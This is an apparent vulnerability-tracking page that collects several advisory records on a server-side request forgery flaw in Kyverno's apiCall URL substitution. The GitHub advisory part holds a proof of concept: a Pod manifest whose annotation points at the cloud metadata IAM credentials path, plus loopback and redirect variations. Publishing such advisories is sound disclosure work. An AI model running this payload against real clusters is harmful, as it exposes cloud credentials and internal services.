Kyverno before 1.18.0 Server-Side Request Forgery via apiCall

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Kyverno before 1.18.0 contains a server-side request forgery vulnerability in apiCall.service.url that allows authenticated users to send arbitrary HTTP requests by injecting user-controlled input through variable substitution. Attackers can target internal services, cloud metadata endpoints, and loopback addresses, with response data reflected in admission error messages enabling non-blind data exfiltration.

Source published

1 Sep 2026 11:33:59 UTC

Source modified

1 Sep 2026 14:56:10 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 8.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

CVSS 3.1 · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Kyverno before 1.18.0 contains a server-side request forgery vulnerability in apiCall.service.url that allows authenticated users to send arbitrary HTTP requests by injecting user-controlled input through variable substitution. Attackers can target internal services, cloud metadata endpoints, and loopback addresses, with response data reflected in admission error messages enabling non-blind data exfiltration.

Source published

Sep 1, 2026, 11:33:59 AM (timezone not stated)

Source modified

Sep 1, 2026, 2:56:10 PM (timezone not stated)

Observed here

11 Nov 2026 17:00:43 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 8.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Kyverno before 1.18.0 contains a server-side request forgery vulnerability in apiCall.service.url that allows authenticated users to send arbitrary HTTP requests by injecting user-controlled input through variable substitution. Attackers can target internal services, cloud metadata endpoints, and loopback addresses, with response data reflected in admission error messages enabling non-blind data exfiltration.

Source published

1 Sep 2026 12:17:49 UTC

Source modified

10 Sep 2026 15:43:03 UTC

Observed here

25 Oct 2026 16:19:10 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

### Summary A Server-Side Request Forgery (SSRF) vulnerability in Kyverno allows authenticated users to induce the admission controller to send arbitrary HTTP requests to attacker-controlled endpoints. When a `ClusterPolicy` uses `apiCall.service.url` with variable substitution (e.g. `{{request.object.*}}`), user-controlled input can influence the request target. The Kyverno admission controller executes these requests from its privileged network position without enforcing any validation or network restrictions. The issue becomes **non-blind SSRF**, as response data from internal services can be reflected back to the user via admission error messages. --- ### Details Kyverno supports variable substitution in `apiCall.service.url`, a documented feature intended to enable dynamic external lookups during admission control. However, the current implementation lacks fundamental safeguards in the HTTP execution path: #### Missing protections - **No URL validation** User-controlled input is directly embedded into the request URL without validation or normalization. - **No IP filtering** Requests can target: - Loopback (`127.0.0.1`) - Link-local (`169.254.0.0/16`) - Cloud metadata services (e.g. AWS IMDS) - Internal ClusterIP services - **Redirect handling not restricted** The Go HTTP client uses default redirect behavior (`CheckRedirect == nil`), allowing up to 10 redirects without re-validation of the target. - **Response data reflection in admission errors** Response bodies are propagated back to the user in admission responses under certain conditions. #### Non-blind SSRF behavior The vulnerability is **non-blind** through two mechanisms: 1. **Non-2xx responses** Response body is returned in admission error messages (e.g. `executor.go:98-101`) 2. **2xx responses with non-JSON content** Parsing failures (JSON/JMESPath) include response snippets in error output This allows attackers to retrieve data from internal services directly via `kubectl` output. --- ### PoC #### Preconditions 1. A `ClusterPolicy` using: ```yaml apiCall: service: url: "http://{{ request.object.metadata.annotations.target }}" ``` 2. An authenticated user able to create matching resources (e.g. Pods) --- #### Step 1 — Create malicious resource ```yaml apiVersion: v1 kind: Pod metadata: name: ssrf-test annotations: target: "169.254.169.254/latest/meta-data/iam/security-credentials/" spec: containers: - name: test image: nginx ``` --- #### Step 2 — Apply resource ```bash kubectl apply -f pod.yaml ``` --- #### Step 3 — Observe output Example output: ```text Error from server: admission webhook "kyverno" denied the request: failed to process apiCall: <response body from metadata service> ``` --- #### Variations - Internal services: http://kubernetes.default.svc - Loopback: http://127.0.0.1:8080 - Redirect chains to bypass naive filters --- ### Impact #### Vulnerability class - Server-Side Request Forgery (SSRF) - Non-blind data exfiltration #### Affected scope - Kubernetes clusters using Kyverno policies with `apiCall.service.url` and variable substitution #### Impact details - Access to internal services (ClusterIP, localhost) - Access to cloud metadata endpoints (e.g. IMDSv1 → credential exposure) - Internal network reconnaissance - Multi-tenant boundary weakening This issue can be combined with automatic ServiceAccount token forwarding (reported separately) to form a **critical attack chain**.

Source published

14 Apr 2026 20:05:52 UTC

Source modified

25 Sep 2026 14:25:34 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Publisher rating · HIGH

Kyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF in github.com/kyverno/kyverno

Source published

25 Jun 2026 22:34:34 UTC

Source modified

25 Sep 2026 14:25:34 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.